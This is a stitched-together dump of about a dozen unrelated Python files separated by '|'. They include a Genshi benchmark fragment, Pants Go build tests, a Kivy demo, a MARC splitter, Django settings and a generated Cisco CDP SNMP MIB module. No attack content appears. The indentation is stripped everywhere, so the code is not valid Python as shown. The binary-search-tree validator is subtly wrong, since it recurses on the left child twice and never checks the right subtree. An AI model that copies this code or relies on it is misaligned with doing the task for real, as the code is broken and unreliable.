table = [dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9, j=10)
for _ in range(1000)]
range_it = range(loops)
t0 = pyperf.perf_counter()
for _ in range_it:
stream = tmpl.generate(table=table)
stream.render()
return pyperf.perf_counter() - t0
def add_cmdline_args(cmd, args):
if args.benchmark:
cmd.append(args.benchmark)
BENCHMARKS = {
'xml': (MarkupTemplate, BIGTABLE_XML),
'text': (NewTextTemplate, BIGTABLE_TEXT),
}
if __name__ == "__main__":
runner = pyperf.Runner(add_cmdline_args=add_cmdline_args)
runner.metadata['description'] = "Render a template using Genshi module"
runner.argparser.add_argument("benchmark", nargs='?',
choices=sorted(BENCHMARKS))
args = runner.parse_args()
if args.benchmark:
benchmarks = (args.benchmark,)
else:
benchmarks = sorted(BENCHMARKS)
cds_mode = None
try:
import cds
cds_mode = cds._cds.flags.mode
except ImportError:
pass
for bench in benchmarks:
name = 'genshi_%s' % bench
tmpl_cls, tmpl_str = BENCHMARKS[bench]
if cds_mode == 1:
bench_genshi(1, tmpl_cls, tmpl_str)
else:
runner.bench_time_func(name, bench_genshi, tmpl_cls, tmpl_str)
|
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
from textwrap import dedent
import pytest
from pants.backend.go import target_type_rules
from pants.backend.go.goals import package_binary
from pants.backend.go.goals.package_binary import GoBinaryFieldSet
from pants.backend.go.target_types import GoBinary, GoModule, GoPackage
from pants.backend.go.util_rules import (
assembly,
build_go_pkg,
external_module,
go_mod,
go_pkg,
import_analysis,
sdk,
)
from pants.build_graph.address import Address
from pants.core.goals.package import BuiltPackage
from pants.core.util_rules import external_tool, source_files
from pants.engine.rules import QueryRule
from pants.engine.target import Target
from pants.testutil.rule_runner import RuleRunner
@pytest.fixture()
def rule_runner() -> RuleRunner:
return RuleRunner(
target_types=[GoBinary, GoPackage, GoModule],
rules=[
*external_tool.rules(),
*assembly.rules(),
*source_files.rules(),
*import_analysis.rules(),
*package_binary.rules(),
*build_go_pkg.rules(),
*go_pkg.rules(),
*go_mod.rules(),
*target_type_rules.rules(),
*external_module.rules(),
*sdk.rules(),
QueryRule(BuiltPackage, (GoBinaryFieldSet,)),
],
)
def build_package(rule_runner: RuleRunner, binary_target: Target) -> BuiltPackage:
field_set = GoBinaryFieldSet.create(binary_target)
return rule_runner.request(BuiltPackage, [field_set])
def test_package_simple(rule_runner: RuleRunner) -> None:
rule_runner.write_files(
{
"go.mod": "module foo.example.com\n",
"main.go": dedent(
"""\
package main
import (
"fmt"
)
func main() {
fmt.Println("Hello world!")
}
"""
),
"BUILD": dedent(
"""\
go_module(name='go_mod')
go_package(name='main')
go_binary(name='bin', main=':main')
"""
),
}
)
binary_tgt = rule_runner.get_target(Address("", target_name="bin"))
built_package = build_package(rule_runner, binary_tgt)
assert len(built_package.artifacts) == 1
assert built_package.artifacts[0].relpath == "bin"
def test_package_with_dependency(rule_runner: RuleRunner) -> None:
rule_runner.write_files(
{
"lib/lib.go": dedent(
"""\
package lib
import (
"fmt"
)
func Quote(s string) string {
return fmt.Sprintf(">> %s <<", s)
}
"""
),
"lib/BUILD": "go_package()",
"main.go": dedent(
"""\
package main
import (
"fmt"
"foo.example.com/lib"
)
func main() {
fmt.Println(lib.Quote("Hello world!"))
}
"""
),
"go.mod": "module foo.example.com\n",
"BUILD": dedent(
"""\
go_module(name='go_mod')
go_package(name='main')
go_binary(name='bin', main=':main')
"""
),
}
)
binary_tgt = rule_runner.get_target(Address("", target_name="bin"))
built_package = build_package(rule_runner, binary_tgt)
assert len(built_package.artifacts) == 1
assert built_package.artifacts[0].relpath == "bin"
|
import kivy
from kivy.app import App
from kivy.uix.label import Label
class MyApp(App):
def build(self):
return Label(text='おはよう御座います', font_size=72, font_name='Arial')
if __name__ == '__main__':
MyApp().run()
|
"""
Assign bounds to deviation forces
Inputs:
boundDevID: (integer) The deviation edges ID that are allowed to change their force magnitude
boundUpDev: (float) The upper bound of allowable change of force magnitudes [kN]
boundLowDev: (float) The lower bound of allowable change of force magnitudes [kN]
Outputs:
BD: (Bounds Deviation Edges) The bounds for the deviation edges force magnitudes
Remarks:
This generates a new instance of bounds for the deviation edges for the optimization
"""
import Rhino
class BoundDev(object):
def __repr__(self):
return self.ToString()
def __str__(self):
return self.ToString()
def ToString(self):
return "Bound Deviations"
BD = BoundDev()
BD.ID = []
BD.Up = []
BD.Low = []
if boundDevID:
if len(boundDevID) == len(boundUpDev) and len(boundDevID) == len(boundLowDev):
BD.ID = boundDevID
BD.Up = [abs(boundUpDev_i) for boundUpDev_i in boundUpDev]
BD.Low = [-abs(boundLowDev_i) for boundLowDev_i in boundLowDev]
elif len(boundUpDev) == 1 and len(boundLowDev) == 1:
boundUpDevC = []
for i in range(len(boundDevID)):
boundUpDevC.append(abs(boundUpDev[0]))
boundLowDevC = []
for i in range(len(boundDevID)):
boundLowDevC.append(-abs(boundLowDev[0]))
BD.ID = boundDevID
BD.Up = boundUpDevC
BD.Low = boundLowDevC
else:
boundUpDevC = []
for i in range(len(boundDevID)):
boundUpDevC.append(0.0)
boundLowDevC = []
for i in range(len(boundDevID)):
boundLowDevC.append(0.0)
BD.ID = boundDevID
BD.Up = boundUpDevC
BD.Low = boundLowDevC
else:
boundUpDevC = []
for i in range(len(boundDevID)):
boundUpDevC.append(0.0)
boundLowDevC = []
for i in range(len(boundDevID)):
boundLowDevC.append(0.0)
BD.ID = boundDevID
BD.Up = boundUpDevC
BD.Low = boundLowDevC |
from ..util import register
from PIL import Image
import os
import random
plugin_dir = os.path.dirname(os.path.abspath(__file__))
FRAME_ORDER = [0, 1, 2, 3, 1, 2, 3, 0, 1, 2, 3, 0, 0, 1, 2, 3, 0, 0, 0, 0, 4, 5, 5, 5, 6, 7, 8, 9]
BOXES = [(11, 73, 106, 100), (8, 79, 112, 96)]
@register(["cxk", "蔡徐坤", "篮球", "jntm", "鸡你太美"], "制作蔡徐坤打篮球图", '''\
/cxk - 使用者打机器人
/cxk <对方> - 使用者打对方
/cxk <某人> <对方> - 某人打对方
可以使用头像，也可以使用图片链接''', has_self=True)
async def rip(self: Image.Image, other: Image.Image) -> Image.Image:
self = self.resize((130, 130), Image.ANTIALIAS)
other = other.resize((130, 130), Image.ANTIALIAS).rotate(random.uniform(0, 360), Image.BICUBIC)
im = Image.new("RGB", (830, 830), (255, 255, 255))
im.paste(self, (382, 59), self)
im.paste(other, (609, 317), other)
template = Image.open(os.path.join(plugin_dir, "template.png"))
im.paste(template, mask=template)
return im
|
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
import sys
class Solution:
def _isValidBST(self, r, left, right):
if not r:
return True
else:
return all([
left <= r.val <= right,
self._isValidBST(r.left, left, r.val),
self._isValidBST(r.left, r.val, right)
])
def isValidBST(self, r):
"""
:type root: TreeNode
:rtype: bool
"""
if not r:
return True
else:
return self._isValidBST(r, -sys.maxsize, sys.maxsize) |
# coding: utf-8
"""
The MIT License
Copyright (c) 2009 Marici, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
from django.core.management.base import BaseCommand
from maricilib.django.apps.taskqueue.queue import get_taskqueue, default_queue
from maricilib.django.apps.taskqueue.models import DoTaskLog, ErrorLog
from datetime import datetime
class Command(BaseCommand):
def handle(self, *args, **opts):
start_time = datetime.now()
taskqueue = get_taskqueue()
queue_name = default_queue
if 0 < len(args):
queue_name = args[0]
tasklogs = {}
for task in taskqueue.receive_tasks(queue_name):
name, module, kwargs = task.get_task_info()
if not tasklogs.has_key(name):
log = DoTaskLog()
log.start = start_time
log.task_name = name
log.module_name = module
log.success_count = 0
log.error_count = 0
tasklogs.update({name:log})
try:
task.do()
except Exception, e:
# エラー件数をタスク別にカウント
# エラーログを保存
log.error_count+=1
elog = ErrorLog()
elog.task_name = name
elog.module_name = module
elog.args = str(task.kwargs)
elog.text = str(e)
elog.reported_at = datetime.now()
elog.save()
else:
# 成功件数をタスク別にカウント
log.success_count+=1
end_time = datetime.now()
# タスク別に成功/失敗件数
for task_name in tasklogs:
log = tasklogs[task_name]
log.end = end_time
log.total_count = log.success_count+log.error_count
log.save()
# エラー通知メールを送信？
|
# hdf5-udf <file.h5> test-string.py Temperature.py:1000:double
def dynamic_dataset():
input_data = lib.getData("Dataset1")
input_dims = lib.getDims("Dataset1")
udf_data = lib.getData("Temperature.py")
udf_dims = lib.getDims("Temperature.py")
for i in range(input_dims[0]):
print(lib.string(input_data[i]), flush=True)
for i in range(udf_dims[0]):
udf_data[i] = i * 1.0
|
"""
This module splits marc file into finding aid bibs and the rest
"""
from pymarc import MARCReader
from utils import save2csv
from manipulation import save2marc
def create_finding_aids_list(src, out_finding, out_no_finding, csvfile):
with open(src, "rb") as file:
reader = MARCReader(file)
for bib in reader:
if "960" in bib:
scode = bib["960"]["l"]
if scode == "91aam":
# control_no = bib["001"].data
# aleph_no = bib["029"]["b"]
# author = bib.author()
# title = bib.title()
# call_no = bib["099"].value()
# url = bib["856"]["u"]
# save2csv(
# csvfile, [control_no, aleph_no, call_no, title, author, url]
# )
save2marc(out_finding, bib)
else:
save2marc(out_no_finding, bib)
else:
print(f"bib {bib['001'].data} has no items!!")
if __name__ == "__main__":
src = "../dump/kbhs_bib_all_20201016-utf8.mrc"
out_finding = "../dump/CBH-finding_aids.mrc"
out_no_finding = "../dump/kbhs_bib_all_20201016-utf8-without_finding_aids.mrc"
csvfile = "../dump/finding_aids_list.cvs"
create_finding_aids_list(src, out_finding, out_no_finding, csvfile)
|
import django
def pytest_configure(config):
from django.conf import settings
settings.configure(
DEBUG_PROPAGATE_EXCEPTIONS=True,
DATABASES={
"default": {
"ENGINE": "django.db.backends.postgresql_psycopg2",
"HOST": "localhost",
"NAME": "django_base_model_test",
"USER": "django_base_model",
"PASSWORD": "django_base_model",
"PORT": "5432",
}
},
SECRET_KEY="not very secret in tests",
INSTALLED_APPS=(
"django.contrib.admin",
"django.contrib.auth",
"django.contrib.contenttypes",
"django.contrib.sessions",
"django.contrib.sites",
"django.contrib.staticfiles",
"tests",
),
)
django.setup()
|
#
# This file is part of PKPDApp (https://github.com/pkpdapp-team/pkpdapp) which
# is released under the BSD 3-clause license. See accompanying LICENSE.md for
# copyright notice and full license details.
#
default_app_config = 'pkpdapp.apps.PkpdAppConfig'
|
#
# PySNMP MIB module CISCO-CDP-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-CDP-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:35:38 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsUnion, ValueRangeConstraint, SingleValueConstraint, ValueSizeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "ValueRangeConstraint", "SingleValueConstraint", "ValueSizeConstraint", "ConstraintsIntersection")
ciscoMgmt, = mibBuilder.importSymbols("CISCO-SMI", "ciscoMgmt")
CiscoNetworkAddress, CiscoNetworkProtocol = mibBuilder.importSymbols("CISCO-TC", "CiscoNetworkAddress", "CiscoNetworkProtocol")
VlanIndex, = mibBuilder.importSymbols("CISCO-VTP-MIB", "VlanIndex")
ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex")
NotificationGroup, ModuleCompliance, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance", "ObjectGroup")
Unsigned32, Bits, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, Gauge32, TimeTicks, ModuleIdentity, IpAddress, MibIdentifier, NotificationType, Counter32, ObjectIdentity, iso = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "Bits", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "Gauge32", "TimeTicks", "ModuleIdentity", "IpAddress", "MibIdentifier", "NotificationType", "Counter32", "ObjectIdentity", "iso")
TextualConvention, TimeStamp, DisplayString, TruthValue = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "TimeStamp", "DisplayString", "TruthValue")
ciscoCdpMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 9, 9, 23))
ciscoCdpMIB.setRevisions(('2005-03-21 00:00', '2005-03-14 00:00', '2001-11-23 00:00', '2001-04-23 00:00', '2000-11-22 00:00', '1998-12-10 00:00', '1998-09-16 00:00', '1996-07-08 00:00', '1995-08-15 00:00', '1995-07-27 00:00', '1995-01-25 00:00',))
if mibBuilder.loadTexts: ciscoCdpMIB.setLastUpdated('200503210000Z')
if mibBuilder.loadTexts: ciscoCdpMIB.setOrganization('Cisco System Inc.')
ciscoCdpMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 1))
cdpInterface = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1))
cdpCache = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2))
cdpGlobal = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3))
cdpInterfaceTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1), )
if mibBuilder.loadTexts: cdpInterfaceTable.setStatus('current')
cdpInterfaceEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1), ).setIndexNames((0, "CISCO-CDP-MIB", "cdpInterfaceIfIndex"))
if mibBuilder.loadTexts: cdpInterfaceEntry.setStatus('current')
cdpInterfaceIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647)))
if mibBuilder.loadTexts: cdpInterfaceIfIndex.setStatus('current')
cdpInterfaceEnable = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 2), TruthValue()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpInterfaceEnable.setStatus('current')
cdpInterfaceMessageInterval = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(5, 254))).setUnits('seconds').setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpInterfaceMessageInterval.setStatus('obsolete')
cdpInterfaceGroup = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpInterfaceGroup.setStatus('current')
cdpInterfacePort = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpInterfacePort.setStatus('current')
cdpInterfaceName = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 1, 1, 6), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpInterfaceName.setStatus('current')
cdpInterfaceExtTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 2), )
if mibBuilder.loadTexts: cdpInterfaceExtTable.setStatus('current')
cdpInterfaceExtEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: cdpInterfaceExtEntry.setStatus('current')
cdpInterfaceExtendedTrust = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 2, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("trusted", 1), ("noTrust", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpInterfaceExtendedTrust.setStatus('current')
cdpInterfaceCosForUntrustedPort = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 1, 2, 1, 2), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpInterfaceCosForUntrustedPort.setStatus('current')
cdpCacheTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1), )
if mibBuilder.loadTexts: cdpCacheTable.setStatus('current')
cdpCacheEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1), ).setIndexNames((0, "CISCO-CDP-MIB", "cdpCacheIfIndex"), (0, "CISCO-CDP-MIB", "cdpCacheDeviceIndex"))
if mibBuilder.loadTexts: cdpCacheEntry.setStatus('current')
cdpCacheIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647)))
if mibBuilder.loadTexts: cdpCacheIfIndex.setStatus('current')
cdpCacheDeviceIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647)))
if mibBuilder.loadTexts: cdpCacheDeviceIndex.setStatus('current')
cdpCacheAddressType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 3), CiscoNetworkProtocol()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheAddressType.setStatus('current')
cdpCacheAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 4), CiscoNetworkAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheAddress.setStatus('current')
cdpCacheVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheVersion.setStatus('current')
cdpCacheDeviceId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 6), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheDeviceId.setStatus('current')
cdpCacheDevicePort = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 7), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheDevicePort.setStatus('current')
cdpCachePlatform = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 8), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCachePlatform.setStatus('current')
cdpCacheCapabilities = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 4))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheCapabilities.setStatus('current')
cdpCacheVTPMgmtDomain = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 10), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheVTPMgmtDomain.setStatus('current')
cdpCacheNativeVLAN = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 11), VlanIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheNativeVLAN.setStatus('current')
cdpCacheDuplex = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("unknown", 1), ("halfduplex", 2), ("fullduplex", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheDuplex.setStatus('current')
cdpCacheApplianceID = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 13), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheApplianceID.setStatus('current')
cdpCacheVlanID = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 14), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4095))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheVlanID.setStatus('current')
cdpCachePowerConsumption = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 15), Unsigned32()).setUnits('milliwatts').setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCachePowerConsumption.setStatus('current')
cdpCacheMTU = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 16), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheMTU.setStatus('current')
cdpCacheSysName = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 17), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheSysName.setStatus('current')
cdpCacheSysObjectID = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 18), ObjectIdentifier()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheSysObjectID.setStatus('current')
cdpCachePrimaryMgmtAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 19), CiscoNetworkProtocol()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCachePrimaryMgmtAddrType.setStatus('current')
cdpCachePrimaryMgmtAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 20), CiscoNetworkAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCachePrimaryMgmtAddr.setStatus('current')
cdpCacheSecondaryMgmtAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 21), CiscoNetworkProtocol()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheSecondaryMgmtAddrType.setStatus('current')
cdpCacheSecondaryMgmtAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 22), CiscoNetworkAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheSecondaryMgmtAddr.setStatus('current')
cdpCachePhysLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 23), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCachePhysLocation.setStatus('current')
cdpCacheLastChange = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 1, 1, 24), TimeStamp()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCacheLastChange.setStatus('current')
cdpCtAddressTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 2), )
if mibBuilder.loadTexts: cdpCtAddressTable.setStatus('current')
cdpCtAddressEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 2, 1), ).setIndexNames((0, "CISCO-CDP-MIB", "cdpCacheIfIndex"), (0, "CISCO-CDP-MIB", "cdpCacheDeviceIndex"), (0, "CISCO-CDP-MIB", "cdpCtAddressIndex"))
if mibBuilder.loadTexts: cdpCtAddressEntry.setStatus('current')
cdpCtAddressIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 2, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2147483647)))
if mibBuilder.loadTexts: cdpCtAddressIndex.setStatus('current')
cdpCtAddressType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 2, 1, 4), CiscoNetworkProtocol()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCtAddressType.setStatus('current')
cdpCtAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 2, 2, 1, 5), CiscoNetworkAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpCtAddress.setStatus('current')
cdpGlobalRun = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 1), TruthValue().clone('true')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpGlobalRun.setStatus('current')
cdpGlobalMessageInterval = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(5, 254)).clone(60)).setUnits('seconds').setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpGlobalMessageInterval.setStatus('current')
cdpGlobalHoldTime = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(10, 255)).clone(180)).setUnits('seconds').setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpGlobalHoldTime.setStatus('current')
cdpGlobalDeviceId = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 4), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpGlobalDeviceId.setStatus('current')
cdpGlobalLastChange = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 5), TimeStamp()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpGlobalLastChange.setStatus('current')
cdpGlobalDeviceIdFormatCpb = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 6), Bits().clone(namedValues=NamedValues(("serialNumber", 0), ("macAddress", 1), ("other", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cdpGlobalDeviceIdFormatCpb.setStatus('current')
cdpGlobalDeviceIdFormat = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 23, 1, 3, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("serialNumber", 1), ("macAddress", 2), ("other", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cdpGlobalDeviceIdFormat.setStatus('current')
ciscoCdpMIBConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 2))
ciscoCdpMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1))
ciscoCdpMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 2))
ciscoCdpMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 1)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBCompliance = ciscoCdpMIBCompliance.setStatus('obsolete')
ciscoCdpMIBComplianceV11R01 = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 2)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroupV11R01"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBComplianceV11R01 = ciscoCdpMIBComplianceV11R01.setStatus('obsolete')
ciscoCdpMIBComplianceV11R02 = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 3)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroupV11R02"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBComplianceV11R02 = ciscoCdpMIBComplianceV11R02.setStatus('obsolete')
ciscoCdpMIBComplianceV12R02 = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 4)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroupV12R02"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBComplianceV12R02 = ciscoCdpMIBComplianceV12R02.setStatus('obsolete')
ciscoCdpMIBCompliance5 = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 23, 2, 1, 5)).setObjects(("CISCO-CDP-MIB", "ciscoCdpMIBGroupV12R02"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoCdpMIBCompliance5 = ciscoCdpMIBCompliance5.setStatus('deprecated')
